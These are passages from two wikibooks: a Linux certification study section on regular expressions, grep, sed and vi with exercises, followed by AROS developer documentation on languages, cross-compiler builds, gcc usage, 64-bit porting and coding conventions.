* Perl

Limited regexp search pattern
Used by all utilities using regexp.

* Any 1 char  . Ab.a  Abla or Abca
* 1 char set  [   ] Ab[sd]a  Absa or Abda only
* 1 char range [ - ] Ab[a-z]a  Abaa or Abba or ...
* Not in set  [^ ] Ab[^0-9]a  Abaa or Abba or ...
* 0 or more  * Ab*a  Absala or Aba or ...
* Begin line  ^ ^Aba  Line starts&gt;Aba
* End line  $ Aba$  Aba&lt;line ends
* Literal  \ Aba\$  Aba$

Example:
 Ab[0-3]s
 ^Ab\^bA
 [01]bin$
 ^..\\
 [^zZ]oro

Combinations of limited regexp
Combinations used by all utilities using regexp.

* Any string  .* Ab.*a  Abrahma or Abaa or ...
* String from  [   ]* th[aersti]* There or This or ...
* Multi range  [ - - ] Ab[0-2][a-c]a Ab0aa or Ab1aa or ...
* Match \  \\ \\[a-zA-Z]* \Bethoven

Examples: 
 Ab[0-3][a-z]s
 ...$
 ^[01]\^2
 [0-9][a-z] \$
 [a-zA-Z]*
 ^[^c-zC-Z]*
 ^[a-zA-Z0-9]$

Modifier patterns
Replace strings matched by regexp patterns

* Match m  \{m\}  b[0-9]\{3\} b911
* One or more \{m,\}  b[0-9]\{2,\} b52
* Up to n  \{m,n\}  b[0-9]\{2,4\} b1234
* Beginning of word \&lt;  \&lt;wh  where
* End of word \&gt;  [0-9]\&gt;  bin01

=== grep ===

To find text in a file, use grep.

 grep [options] [string] [files]

Best to quote the string to prevent interpretation.

Common options:
-i: Ignore case
-l: List filename only if at least one matches
-c: Display only count of matched lines
-n: Also display line number
-v: Must not match.

Examples:
 grep host /etc/*.conf
 grep -l '\&lt;mai' /usr/include/*.h
 grep -n toto /etc/group
 grep -vc root /etc/passwd
 grep '^user' /etc/passwd
 grep '[rR].*' /etc/passwd
 grep '\&lt;[rR].*' /etc/passwd

=== sed ===

To apply a command on a stream, use sed.

 sed [address1][,address2][!]command[options] [files...]

The program sed will  apply a command from address1 to address2 in a file.
The address1 and address2 format are regular expressions.
The sed program is a noninteractive editing tool.

Examples:
 sed '1,3s/aa/bb/g' file # Replace in file from line 1 to 3 aa by bb.
 sed '/here/,$d' file # Delete line from here to the end.
 sed '/here/d' file # Delete lines with word here.
 sed '1,/xxx/p' file # Print lines from 1 to xxx.
 sed '/ll/,/ff/!s/maison/house/g' file # In file replace words maison by house excluding lines from ll to ff.

=== Exercises ===

* [[LPI Linux Certification/LPIC1 Exam 101/Exercises results|Exercises results]]

# Process your bookmarks.html file to produces a list containing just the web site titles in a file called mywebsites.txt
# Copy all the files from /etc in your home direcory etc/. Display the contents of all the *.conf files by replacing the word host by machine.
# Display the contents of all the *.conf files that don't contain the root word. What is the command using grep and sed?
# Print out all the group names where root belongs to.
# List all the group names that are 4 or 5 characters long. 
# List all the files that contain character lines without spaces (blank).
# List in etc/ directory all the files that contain numerical characters.
# Print with ls only the directory names in /. 
# Do “ps -aux” and replace user r_polto by root and print it in to a file called new_process.txt
# List all process called apache and owned by a usernames starting by “p” or “P”..

== Perform basic file editing using vi ==

=== Overview ===

Description: ''Candidates should be able to edit text files using vi. This objective includes vi navigation, basic vi nodes, inserting, editing, deleting, copying, and finding text.''

Key &lt;b&gt;files&lt;/b&gt;&lt;i&gt; terms&lt;/i&gt; and&lt;code&gt; utilities&lt;/code&gt; include:&lt;br&gt;
&lt;code&gt;vi&lt;/code&gt;&lt;br&gt;
&lt;i&gt;/, ?&lt;br&gt;
h,j,k,l&lt;br&gt;
G, H, L&lt;br&gt;
i, c, d, dd, p, o, a&lt;br&gt;
ZZ, :w!, :q!, :e!&lt;br&gt;
&lt;nowiki&gt;:!&lt;/nowiki&gt;&lt;/i&gt;&lt;br&gt;

=== vi ===

When using X-Windows, you can use mouse-oriented editors such as xedit.
In a cross-development environment, users use their favorite editor.
On a non-windowing system, you only need a keyboard editor such as vi.
The vi editor on Linux is the same as on any Unix systems.
vi has two modes:
* Command mode: Anything you type will be interpreted as a command
* Input mode: Anything you type will be inserted into the file
Transition from one mode to another
Command mode to Input mode: i, I, a, A, o, O keys
Input mode to Command mode: ESC key
The default starting mode is the Command mode
The file configuration .exrc can be created in your HOME directory to set up some vi behavior.
 set ignorecase # No case-sensitive
 set tabs=3 # 3 space for tab character

Perform basic file editing using vi

Enter Input mode
* i before cursor
* I at start of line
* a after cursor
* A at end of line
* o open line below
* O open line above

Delete
* dw delete word
* dd delete line
* D delete to end of line
* x delete char at cursor

Move cursor
* l one space right
* h one space left
* j one line down
* k one line up
* $ end of line
* ^ start of line
* w next word
* e end of word

=== Exercices ===

# Use &lt;code&gt;vi&lt;/code&gt; from any directory to begin editing an empty buffer.
# Enter a few lines of text into this buffer.
# Save the contents of the buffer to the directory.
# Open the file again with &lt;code&gt;vi&lt;/code&gt;.
# Create a new line beneath what you typed earlier. (Don't use &lt;code&gt;i&lt;/code&gt; from command mode!)
# Exit &lt;code&gt;vi&lt;/code&gt; without saving these changes.

* [[LPI Linux Certification/LPIC1 Exam 101/Exercises results|Exercises results]]

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==A technical overview of AROS==

Google translation [http://translate.google.com/translate?hl=en&amp;sl=auto&amp;tl=de&amp;u=http%3A%2F%2Fen.wikibooks.org%2Fwiki%2FAros%2FDeveloper%2FDocs German], [http://translate.google.com/translate?hl=en&amp;sl=auto&amp;tl=fr&amp;u=http%3A%2F%2Fen.wikibooks.org%2Fwiki%2FAros%2FDeveloper%2FDocs French], [http://translate.google.com/translate?hl=en&amp;sl=auto&amp;tl=it&amp;u=http%3A%2F%2Fen.wikibooks.org%2Fwiki%2FAros%2FDeveloper%2FDocs Italian], [http://translate.google.com/translate?hl=en&amp;sl=auto&amp;tl=es&amp;u=http%3A%2F%2Fen.wikibooks.org%2Fwiki%2FAros%2FDeveloper%2FDocs Spanish], [http://translate.google.com/translate?hl=en&amp;sl=auto&amp;tl=hi&amp;u=http%3A%2F%2Fen.wikibooks.org%2Fwiki%2FAros%2FDeveloper%2FDocs Hindi], [http://translate.google.com/translate?hl=en&amp;sl=auto&amp;tl=zh-CN&amp;u=http%3A%2F%2Fen.wikibooks.org%2Fwiki%2FAros%2FDeveloper%2FDocs Chinese], 
[http://translate.google.com/translate?hl=en&amp;sl=auto&amp;tl=ru&amp;u=http%3A%2F%2Fen.wikibooks.org%2Fw%2Findex.php%3Ftitle%3DAros%2FDeveloper%2FDocs Russian], 
[http://translate.google.com/translate?hl=en&amp;sl=auto&amp;tl=pl&amp;u=http%3A%2F%2Fen.wikibooks.org%2Fw%2Findex.php%3Ftitle%3DAros%2FDeveloper%2FDocs Polish],
[http://translate.google.com/translate?hl=en&amp;sl=auto&amp;tl=pt&amp;u=http%3A%2F%2Fen.wikibooks.org%2Fw%2Findex.php%3Ftitle%3DAros%2FDeveloper%2FDocs Portuguese]

{{Uncited}}

AROS,&lt;ref&gt;[http://aros.sourceforge.net/download.php References and sources]&lt;/ref&gt; like AmigaOS (TM), is a [[w:Message passing|message-passing]], [[w:Preemption (computing)|preemptive]] [[w:Multitasking|multitasking]] [[w:Operating system|OS]].

It uses [[w:Reentrant (subroutine)|re-entrant]] shared libraries to save memory space.

AROS is based around an executive library kernel (Exec) and two other libraries:

* Exec (the &quot;kernel&quot;, which is not a kernel in the modern sense), 
* Intuition (graphics and GUI, integrated into the system) and 
* AmigaDOS (Disk Operating System, the Metacomco's Tripos modified to work with Exec).

The design philosophies of AmigaDOS and Intuition are rather different, the former adopting a C-like API and the latter creating an [http://www.basden.demon.co.uk/amiga/amiga.oo.html object-oriented], message passing aware environment for the programmer. The system base is the only absolute address in AmigaOS (located at 0x00000004) this does differ with AROS as AROS SysBase is automatically provided (no $4) but everything else is dynamically loaded. The OS is well known for delivering high performance due to its close connections with the hardware, while simultaneously having the flexibility to support re-targetable graphics (Cybergraphics) and retargetable audio subsystems (AHI).

: Diagram showing relationships of libraries to system needed


Remember, AROS is a [http://en.wikibooks.org/wiki/Aros/Developer/ABIv1 research] operating system, and while all contributions to the base AROS code are welcome, please contact the dev list first for any core changes. Writing applications for AROS does not have this requirement. 

While AROS appears and feels almost feature complete, it is still [[Aros/Developer/IncompleteAPIs|missing a small number of functions]] from the Amiga API. 


[https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=1201 This thread provides] information for setup, [http://www.aros.org/documentation/developers/index.php documentation] and whether you are interested in core OS changes and/or writing/porting software apps 

*you compile directly under AROS, which can be running on either real hardware, virtual hardware
*in hosted mode under linux/window, cross-compile from that host OS (save your files as ISO-8859-15 encoding instead of UTF-8) [https://github.com/BlitterStudio/aros-compiler-docker Docker images] 


'''The repository''' for 64bit and 32bit ABIv1 all hardware platforms is [https://github.com/aros-development-team/AROS current development version]. 
There are many forks of this so that developers can work on their own and forward changes at a later date as discussed on the dev forum 


64bit PC is one of two hardware platform with another fork called [https://github.com/deadwood2/AROS abiv11] which is used for Aros One x64 PC 

32bit PC is the other fork [https://github.com/deadw00d/AROS/tree/alt-abiv0 repository for current stable PC version ABIv0 with backported ABIv1 features is located which is used on AROS One and Icaros x86 32bit based distros] this is for historic reasons 


Any [https://github.com/aros-development-team/AROS/issues bugs / issues can be added for ABIv1 issues]. The two individual PC forks have their own issues tab on their github webpages 

We have a [https://arosdevteam.slack.com/archives/CUFV48U3H slack here], discord on [https://discord.gg/UKp9qdEBuQ Discord@AmigaDev], 


==Software Development for AROS==

===Programming languages===

====Common to all====

'The Developer Environment', which primarily supports C/C++ code, there are other scripting programming languages available 

:[[Aros/User/DOS|DOS]] 
:[[Aros/Developer/Docs/LUA|LUA]] 
:REXX [[Aros/Developer/Docs/Rexx|Regina (AROS' ARexx)]] 


====Needs to be compiled/ported====

::[[Aros/Developer/Docs/LLVM|LLVM]] 
::Python [ Info], [], 
::[https://ae.arosworld.org/index.php?board=11.0 FreePascal FPC Aros-Exec thread], [https://archives.arosworld.org/index.php?function=browse&amp;cat=development/language fpc arm here is very old and will not work], FreePascal for AROS has its own [http://fpcaroswiki.alb42.de/ Wikibook], 


::[http://sourceforge.net/projects/xamos/ X-Amos Basic] 
::[http://sdlbasic.sourceforge.net/ SDLBasic] ([https://archives.arosworld.org/index.php?function=browse&amp;cat=development/language ])
::[[Aros/Developer/Basic/Basic4SDL|Basic4SDL]] ([https://archives.arosworld.org/index.php?function=browse&amp;cat=development/language ])
::[http://alvyn.sourceforge.net/ Alvyn] ([http://www.dusabledanslherbe.eu/AROSPage/MISC.14.html download]) 


::[http://www.airsoftsoftwair.com/ Hollywood when enough users warrant a port - paid one time fee language] 


::[[Aros/Developer/Docs/E|AmigaE Portable E]]


====Hardware Restricted====

'''Basic'''

:[http://amos.pspuae.com/AmosProManual/contents/c1.html '''Amos Pro'''] [http://amos.pspuae.com/index.php?action=forum#1 compatible] [http://www.amigacoding.com/index.php/Main_Page commands] (all incomplete) 

:'''Blitz Basic''' [http://aros-exec.org/modules/newbb/viewtopic.php?post_id=46537#forumpost46537 none on AROS] 
:: [http://www.amiforce.de/main.php Amiblitz] on amiga(TM) emulator

:'''Amiga Basic'''
:: [ ACEBasic]

'''Misc''' 
:Ruby [http://www.ruby-lang.org/en Info]/[https://archives.arosworld.org/index.php?function=browse&amp;cat=development/language Ruby 32bit PC], 


===Where to get the C/C++ Environment===

If you want to develop for AROS, its generally easier to be running linux hosted AROS development environment especially for C++, cross compiling the code. That's how most developers now are doing it. g++ is used to compile owb web browser as well as some other AROS software. If you were hoping for a rich set of C++ libraries or classes defined for the OS feature set, you might be disappointed.

AROS Native compiling is possible, but you're much more likely to run into the odd bug(s) in the dev environment since it gets little testing and fixing by other developers.

Is there a sftp software or scp over ssh available?
Maybe. At least the security part would be handled by [https://github.com/jens-maus/amissl amissl] [https://archives.arosworld.org/index.php?function=browse&amp;cat=network/misc port]. [https://github.com/BlitterStudio/dopus5 DOpus5] has recently added sftp support. See here for a [https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=1974&amp;highlight=ssh&amp;pid=12073#post_12073 ssh scp client]

[https://arosdevteam.slack.com/join/shared_invite/enQtOTc4Mzg0NDIzNzQ0LWQ2NWZmNmMwNGIwNGEyNTgxNzU3MGFjMTk3ZThmOTQ1MTVjMzhmNTllYWQ0ZTUxMjBjMGE0Y2VjMDJmNTc5MzI#/shared-invite/email Slack Dev Forum] 


====Cross compilers from Windows or Linux====

*Windows WSL2 walkthrough can be [https://arosnews.github.io/how-to-cross-compile-aros-hosted-wsl/ found here] 


you want to build AROS. No problem.

Here are instructions for PC 64-bit:
https://github.com/deadw00d/AROS/blob/master/INSTALL.md

Here are instructions for PC 32-bit:
https://github.com/deadw00d/AROS/blob/alt-abiv0/INSTALL.md

And as always has been the case you can use the contrib archive to 'obtain' the development directory which contains the /native/ AROS gcc compiler and tools. That compiler is used to build AROS itself but can be used outside the AROS build process by providing --sysroot with indicated directory to cross compile for AROS.


'''64 bit'''


'''32 bit'''

A good option for multiple OS is [https://axrt.org/index.php?tab=download-aros AxRuntime lets developers compile their Amiga API-based applications as Linux binaries being able to utilize modern development tools available on Linux, like IDEs, debuggers, profilers, etc] 


Older 32bit guides for Linux hosted compiler

Please install these packages before moving to next step. Below is a reference list for Debian-based distributions. Reference build system was Ubuntu 18.04/20.04 amd64.

subversion git-core gcc g++ make gawk bison flex bzip2 netpbm autoconf automake libx11-dev libxext-dev libc6-dev liblzo2-dev libxxf86vm-dev libpng-dev gcc-multilib libsdl1.2-dev byacc python-mako libxcursor-dev cmake zsh mingw64

Do all of these operations under home directory of your user or another directory where your user has write permissions.

Specifically, in a section &quot;Linux-i386&quot;, be sure first to build the cross-compiler (toolchain-alt-abiv0-i386) and only then AROS itself (alt-abiv0-linux-i386).


Clone &amp; build
&lt;pre&gt;
$ mkdir myrepo
$ cd myrepo
$ git clone https://github.com/deadw00d/AROS.git AROS
$ cd AROS
$ git checkout alt-abiv0
$ cd ..
$ cp ./AROS/scripts/rebuild.sh .
$ ./rebuild.sh
&lt;/pre&gt;

Now to the build selection below - Linux-i386 

Select toolchain-alt-abiv0-i386 - Select alt-abiv0-linux-i386 (DEBUG) 

Start AROS by:
&lt;pre&gt;
$ cd alt-abiv0-linux-i386/bin/linux-i386/AROS
$ ./Arch/linux/AROSBootstrap
&lt;/pre&gt;


Pc-i386 Select toolchain-alt-abiv0-i386 (if not built yet) - Select alt-abiv0-pc-i386

ISO image available in alt-abiv0-pc-i386/distfiles


Now that we have linux-hosted build, we can resume native (option 2).
Run ./rebuild.sh and selection option 2. Wait until it finished, then:
&lt;pre&gt;
$ cd alt-abiv0-pc-i386
$ make
&lt;/pre&gt;

Now
&lt;pre&gt;
$ make bootiso
&lt;/pre&gt;


Now, your compiler is located in toolchain-alt-abiv0-i386 directory and named i386-aros-gcc. Includes are in alt-abiv0-linux-i386-d/bin/linux-i386/AROS/Development/include and libraries are in alt-abiv0-linux-i386-d/bin/linux-i386/AROS/Development.lib.

This is how then can be passed to the compiler:

/home/xxx/toolchain-alt-abiv0-i386/i386-aros-gcc --sysroot /home/xxx/alt-abiv0-linux-i386-d/bin/linux-i386/AROS/Development -L/home/xxx/alt-abiv0-linux-i386-d/bin/linux-i386/AROS/Development/lib 

../toolchain-alt-abiv0-i386/i386-aros-gcc --sysroot bin/linux-i386/AROS/Development local/helloworld/helloworld.c -o local/helloworld/helloworld


Another method was using Debian like distros and download the [https://archives.arosworld.org/index.php?function=browse&amp;cat=development/cross gimmearos.sh script] to setup the developer environment by downloading necessary packages ...  The gimmearos script is a good start in that direction, building the cross compilers and hosted AROS environment, but gimmearos.sh might be out of date or not be completely compatible with any given linux distro. 

In order to do that, you have to compile AROS yourself. Download AROS source archive not contrib. Compile AROS by entering the main directory

 ./configure
 make

([http://http://developers.aros.org/documentation/compiling.html More on compiling AROS]). The result will be a basic AROS system without development tools.

To compile C++ on Linux, type 'make gnu-contrib-crosstools', creating the cross-compilers in ./bin/linux-i386/tools/, named i386-aros-gcc, etc.

'''Note''': Currently, to make the cross compilers usable copy 'collect-aros' from tools/ to tools/i386-aros/bin/. At the moment the cross compilers if used from the Linux command line will only find it when it's there.

If you want to compile native compilers (the Developer Environment), type 'make contrib-gnu-gcc', creating native compilers in AROS' System:Development/bin directory.

When the output needs to be stripped &lt;code&gt;--strip-unneeded --remove-section .comment&lt;/code&gt;

The Obj-C backend should build out of the box.

Open contrib/gnu/gcc/mmakefile.src and search for the line which contains &quot;--enable-languages&quot; and add &quot;objc&quot; to the list of languages that follows it.

    --enable-languages=c,c++,objc

Better make it—enable-languages=c,c++,objc,obj-c++

ObjC++ is broken as soon as you try to use exceptions, but that might change in future GCC versions and it does not hurt having it there already.


Do you need a cross-compiler or a real compiler? In the first case you can get away with just downloading the proper gcc archive, apply the patch and proceed with the normal gcc build. In the case of a real cross-compiler then when downloading the contrib sources, also need to download the normal sources, place the contrib sources into a directory called contrib, need to install autoconf+automake+perl+python, call ./configure, cd into the subdirectory and type make.

to rebuild GCC with host == build == target == i386-pc-aros. So just get the vanilla sources and apply the patches without bothering about the build system?


[https://vmwaros.blogspot.com/2019/10/a-pre-configured-development-machine.html pre-configured VM environment vmware virtual machine to develop AROS and AROS software]


====Native compilers for AROS====

Namely gcc for C or g++ for C++ are supplied with the [[Aros/Developer/Docs#The Developer Environment|Developer Environment]], which is already '''setup''' and part of any current AROS distribution like AROS One or the nightlies 

* Current GCC 6.5 (32bit) though moving to 10.5 and 15.1 (64bit) 
* Older software components. GNU GCC 4.x GNU BinUtils, GNU Fileutils 4.x, GNU Textutils and others usually deprecated 

On single partition systems and the Boot ISO, the AROS Developer environment is installed under &quot;SYS:Development/&quot;. Systems with multiple partitions - such as a Work: partition - tend to install it to there instead, however it can be installed manually to any location. Please remember, if moving, that you will need to correct the Development packages 'install location' env variable to point to the new locations root - look in SYS:S/startup-sequence.

&lt;pre&gt;
Assign Development: SYS:Development 
Assign C: Development:bin ADD 
&lt;/pre&gt;


In the aros build instructions. you need to check out contrib and/or ports into your AROS source directory, as subdirs. then, assuming you are building in an external build dir, as you should, you simply configure and &quot;make contrib&quot; for instance or whatever submodule you might want to build.


===Beginners Tutorials in C C++===

As AROS is [http://eab.abime.net/showthread.php?t=29856 C based] API compatible to AmigaOS 3.x, so most of the information on programming C on the Amiga applies to AROS as well. Please note that there is a lot of AmigaOS 1.3 (1985-1989) and [https://www.markround.com/amigaguide AmigaOS AOS 2.x (1990-1992)] information around but OS3.1 is recommended but limited in amount. 

Brief overview of what is required to write AROS Applications

# Using [[Aros/Developer/Docs/Libraries/Intuition|Intuition]] for basic screens/windows 
# Using graphics within windows via 8bit [[Aros/Developer/Docs/Libraries/Graphics|graphics]] and so onto  15-16-24bit [[Aros/Developer/Docs/Libraries/CGFX|cybergraphx]]
# Load and save work to [[Aros/Developer/Docs/Libraries/DOS|dos]] disk drives
# Using the [[Aros/Developer/Zune|ZUNE GUI Environment]]


Writing native games require this extra information

# Using [[Aros/Developer/AHIDrivers|AHI audio hardware independent API]]
# Using USB joystick/joypad with the Poseidon USB stack through [[Aros/Developer/Docs/Libraries/LowLevel|LowLevel]] library


Additional features that could be added later

# Adding additional [[Aros/Developer/Docs/Libraries/Locale|Locale]] language translations to your program 
# Adding a [[Aros/Developer/Docs/Rexx|AREXX/Regina]] port to your application 
# Executing Amiga(TM) [[Aros/User/DOS|DOS]] commands from your application
# Using [[Aros/Developer/Docs/Libraries/Icon|icons]] (.info files) and icon tooltypes (stack, version, and program startup options)
# Local couch or IP based SANA2 networking co-op multi player gaming support 


Most AmigaOS programming books are nowadays very much out of date as most are from the late 1980s and do not cover later amigaOS releases like 3.1 for example, Rob Peck's book &quot;Programmer's Guide to the Amiga&quot;. The Amiga ROM Kernel manuals aka RKMs like Libraries (3rd edition), Devices (), the AmigaDOS manual (3rd edition) and the Style Guide may have their uses. There are some reference examples from AmigaMail and Devcon notes (available again on an Amiga developers CD 2.1). 

For Arexx then &quot;The Amiga Programmer's Guide to ARexx&quot; by Eric Giguere, which was published by Commodore is useful as well as an &quot;Arexx Cookbook&quot;.


* Beginners C Guide [http://www.iu.hio.no/~mark/CTutorial/CTutorial.html C Tutorial], 
* [http://www.pjhutchison.org/tutorial/amiga_c.html Amiga based but interesting]
* [http://thecguru.com/ C for beginners],
* [http://fresh2refresh.com/c/c-basic-program/ C programming basics] for students, 
* [https://www.edx.org/courses Free Online course] from American Universities 
* Reference Amiga [http://amigadev.elowar.com/ API reference].


* AROS based c source can be found [[Aros/Developer/Docs/Examples|here]] and lots of example code can be found inside [https://github.com/aros-development-team AROS sources] themselves and from the contrib section of the archives from [https://github.com/aros-development-team/contrib Aros site], and study the AROS applications source code, e.g. the test programs from the Tests drawer (folder/directory). Take a look at the code of some smaller AROS programs might be a better and more up to date 

When you upload your builds, please write the architecture (like i386-aros, x86_64-aros, aarch64-aros etc.) in the archive name 
and it is also advisable to write in the field &quot;Requirements&quot; the ABI (ABIv1 leave blank, for PC fork 64bit ABIv11 ends in v11, 32bit ends in , Arm Pi ends ) 


===Compiling C/C++ Code===

Native, although we have a IDE Integrated Development Environment (Murks), it does lack a debugger. Whilst others use a combination of a text editor and shell to edit code. Most though use an AROS hosted on Linux to take advantage of the better GCC tools like GDB and various IDEs.

Open shell - its a menu option at the top left of Wanderer (desktop). Or by using the right Win key and w (or F12 and w) within the directory with the source code. Type in
 sh 
to change the amiga shell into a unix shell. You can then type in ls (unix equivalent to amiga dir). Take a look [http://en.wikibooks.org/wiki/Linux_commands here] for more commands.

For a single file program-name.c or program-name.cpp
 gcc -o program-name program-name.c  
or 
 g++ -o program-name program-name.cpp
or
 g++ -o test -Wall -g main.cc texturelib.cpp xmodelib.cc -lsdl -lgl

To close the shell, click on the top left-hand corner to close (twice). Once to get back the aros shell and then again to close finally. Use [http://freshmeat.net/projects/cksfv/ cksfv] as a test.

Some source code requires the addition of Amiga API libraries, like dos, which you can flag at the compile time as 
 gcc -o julia.exe julia.c -ldos

For DOS use -ldos as example and if you are compiling mui codes it will be -lmui or intuition -lintuition. Other missing symbols are due to linker libraries being necessary for linking in functions that aren't in the standard C libraries. For example some source code would need added

 -lz or -lm or -lpng or -larosc etc.

use this in unix line command mode to search for 'search-item' in many .c files (*.cpp for c++, etc.)
 grep -l 'search-item' *.c

If the program is not executable, try using parameter fno-common 

&quot;Delete #?.o&quot;? Or if you are using abcshell then &quot;rm *.o&quot;


:''More information: [[Aros/Developer/Porting software]]''


=== How to make Apps have AROS 64-bit specific support code ===

[http://www.aros.org/cs/documentation/developers/app-dev/portable.php Portable code] 

AROS64 already uses 64bit addressing, it just doesn't setup the MMU for more than 4GB physical memory currently.
When porting software to AROS64 it is &quot;mostly&quot; a case of converting ULONG's that are used to store pointers, into IPTR's instead, etc. Another quirk, is making sure items on the stack are the correct size by using the STACKED attribute for them. 

* Use texteditor or some tool to replace all &quot;ULONG&quot; with &quot;IPTR&quot; and &quot;LONG&quot; with &quot;SIPTR&quot; in the sources.

compiling mui stuff for aros setting -std=gnu99 is necessary, had -std=c99 usually 
A MUI application most likely needs only the HOOKPROTOxxx SDI macros. They are compatible with AROS, only the attributes (hook, object attribute) must be given in the right order.

crash which suggest memory corruption. From my experience porting from 32-bit to 64-bit these kinds of errors can happen if a pointer is passed somewhere via ULONG variable. Then half of the pointer is cut.

To generate this error, please run AROSBootstrap with -m 1024. This will allocate heap to 64-bit address space which will make these errors immediatelly visible. These types of crashes are hard to debug. Disabled as little code as possible to stop corruption from occurring and then try to read from the code where it can be broken

Crashing in tslf_freevec is another symptom of memory corruption and these memory corruptions will manifest differently on different setups.


==Coding conventions==

As the AROS core source is a shared developer experience, there are rules regarding structure and style. When it comes to your creating your own app and coding, the structure and style should be your own, i.e. you should enjoy what you do and do it so that you can understand what is going on.

===Layout===

&lt;syntaxhighlight lang=&quot;c&quot;&gt;
static void 1st_function()
{
    program
    exit(0);    
}

int main(void)
{
    1st_function();
    2nd_function();
    3rd_function();
    return 0;
}
&lt;/syntaxhighlight&gt;

&lt;syntaxhighlight lang=&quot;c&quot;&gt;

struct Screen * openscreen(void);
struct Window *openwindow(struct Screen *screen, const char *title, LONG x, LONG y, LONG w, LONG h);

VOID 1st_function();
VOID 2nd_function();

int main(int argc, char **argv)
{
    program
    return 0;
} /* main */

VOID 1st_function()
{

}

VOID 2nd_function()
{

}
&lt;/syntaxhighlight&gt;

===General style===

This code is used by many people and therefore you should keep some things in mind when you submit source code:

* Keep things simple 
* Keep the source clean 
* Always know what you are doing, if not flag it and describe what needs to be done... 
* Explain clearly/simply what you are doing 
* Remember that you write code once but that it is read many times by many people

===Comments===

AROS uses some of the comments in the source to generate the documentation. Therefore it's necessary to keep a certain format so the tools can find their information. Other comments are ignored but they should explain what you thought when you wrote the code. If you really can't think of an explanation, then don't write the code a second time like this:

&lt;pre&gt;
/* This adds 1 to t */
t ++;
&lt;/pre&gt;

What we think of is this:

&lt;pre&gt;
/* Go on with next element */
t ++;
&lt;/pre&gt;

===Formatting===

This is only '''IMPORTANT''' if you are going to work on the core AROS code or contrib but not applications which may reside outside like on AROS Archives or other websites.

&lt;syntaxhighlight lang=&quot;c&quot;&gt;
{
    /* a */
    struct RastPort * rp;
    int               a;

    /* b */
    rp = NULL;
    a  = 1;

    /* c */
    if (a == 1)
        printf (&quot;Init worked\n&quot;);

    /* d */
    if
    (
        !(rp = Get_a_pointer_to_the_RastPort
            (
                some
                , long
                , arguments
            )
        )
    ||
        a &lt;= 0
    )
    {
        printf (&quot;Something failed\n&quot;);
        return FAIL;
    }

    /* e */
    a = printf (&quot;My RastPort is %p, a=%d\n&quot;
        , rp
        , a
    );

    return OK;
}
&lt;/syntaxhighlight&gt;

Looks ugly, eh ? :-) Ok, here are the rules:

&lt;pre&gt;
If several lines contain similar code, put similar things below each other (see a and b);
Put spaces between operands and operators
Put braces {}, brackets [] and parentheses () below each other (d) if there is much code between. 
Brackets and parentheses may be in one line if the code between is small (c)
Indent by 4 Spaces. Two indent levels may be abbreviated by one tab.
&lt;/pre&gt;

'''Before committing please normalize the indentation - if you have a mixture of tabs and spaced - please always use spaces, 1 tab = 4 spaces.'''

The reasons for this are:

# While some editors can use an arbitrary sizes for tabs, it's a bit complicated to tell another editor which tab size was used by the one used to write the code. 
# Most code in AROS was written this way and your code should look like the rest. 
# You can print this code on any printer without special tools to &quot;fix&quot; the tabs. 
# Most editors have smart tabs which do exactly this. If your editor doesn't, write a bug report.

If you have a function with many arguments (d, e) you should put the parentheses in lines of their own and each argument in one line (d) or put the first argument behind the opening parentheses (e) and each following argument in a line of its own with the comma in front. The closing parentheses is in a line of its own and aligned with the beginning of the expression (i.e. the a and not the opening parentheses or the printf()).

Use a single blank line to separate logical blocks. Large comments should have a blank line before and after them, small comments should be put before the code they explain with only one blank line before them.

If you see any TABS in AROS core sources then the suggestion is to &quot;detab the file and commit that separately&quot; either before or afterwards from making functionality changes. Make two commits instead of one. This makes it easier for others to see the real changes instead of having to dig through multiple lines of irrelevant diffs.

===Eliminating Global Variables===

i.e. pass variables to functions (local scope) or classes making it easier to track and debug your code.

Any time you find that you need a particular thing in 'a lot of different places', chances are that all those places are conceptually related, and so you can create a class, a namespace, a function, or some other higher-level organizational unit to represent that relationship. This makes the program easier to understand.

Bad Designs

* All variables are global. 
* There are no standalone functions, only sub-procedures which act on the global variables. 
* Every sub-procedure is at least 500 lines to several thousand 
* Every sub-procedure has more than one task to perform 
* Copy-paste is preferred to writing methods, AND subtle changes are made in the middle of the code

Good Designs

* structure program into functions (C or basic) - top-down procedural approach 
* put in class(es) (freepascal or C++) - the object is fixed and you use methods to access the object

&lt;pre&gt;
 class String_List
 {
 private:
 list&lt;string&gt; m_List;  // member
 public:
 void read_strings() { /* read strings into m_List */ }
 void print_strings() { /* write contents of m_List to stdout */ }
 void sort_strings() { /* sort contents of m_List */ }
 void sort_strings_reverse() { /* reverse-sort contents of m_List */ }
 void unique_strings() { /* remove duplicate strings */ }
 };

 int main()
 {
 String_List myList;  // local
 myList.read_strings();
 myList.sort_strings();
 myList.print_strings();
 myList.sort_strings_reverse();
 myList.print_strings();
 myList.unique_strings();
 myList.print_strings();
 return 0;
 }
&lt;/pre&gt;

This way it is very easy to replace the list with new list for debugging purposes, or replacing the methods without replacing the list, when you want different results. You only have to replace the content of the local variables.

 So create the structure that matches your data (linked lists, trees, arrays, etc.) and what to do with them (sorting, searching, etc.)

&lt;pre&gt;
.h usually contain #define #include typedef enum struct extern screen and window definitions (data structures)
.c should contains functions and algorithms
&lt;/pre&gt;

One way to look at it is that menu headings act as the .c file and sub-menu headings as functions.

When you start a project, you place a couple of declarations in the include file. As the project continues, you place more and more declarations in the include file, some of which refer to or contain previous declarations. Before you know it, you have a real mess on your hands. The majority of your source files have knowledge of the data structures and directly reference elements from the structures.
Making changes in an environment where many data structures directly refer to other data structures becomes, at best, a headache. Consider what happens when you change a data structure.

Use good variables names to help clarify code and only comment when you need to explain why a certain programming approach was made.

You're Refactoring Legacy Code, you see a global, you want to get rid of it. How do you do this?

Exactly what to do depends on how the global is used. The first step is to find all uses of the global throughout the code, and get a feel for what the significance of the variable is and how it relates to the rest of the program. Pay particular attention to the &quot;lifetime&quot; of the variable (when it gets initialized, when it is first used, when it is last used, how it gets cleaned up). Then, you will probably make the global a data member of a class (for OO languages), or you will write some get/set functions. Converting to the Singleton Pattern is common, but you may discover that it makes more sense for the data element to be a member of an existing singleton, or maybe even an instance variable.

# Create a basic read method, either as a class or a global function. Replace all reads with the access method, but leave the variable defined as a global.
# Review each of the writes to the method and extract action functions one at a time. Unless two operations are coded identically in the original code, extract each write access separately.
# Change the variable scope from global to local.
# Analyze similar action functions to determine if any can be merged, i.e., there are no functional differences in the results of the function, just differences in the implementation details.
# Review the calls to the read method and see if a more complex functionality should be applied. Follow the approach for writes and unless implementations are identical, create separate access functions. 
# Analyze the access functions for duplication.

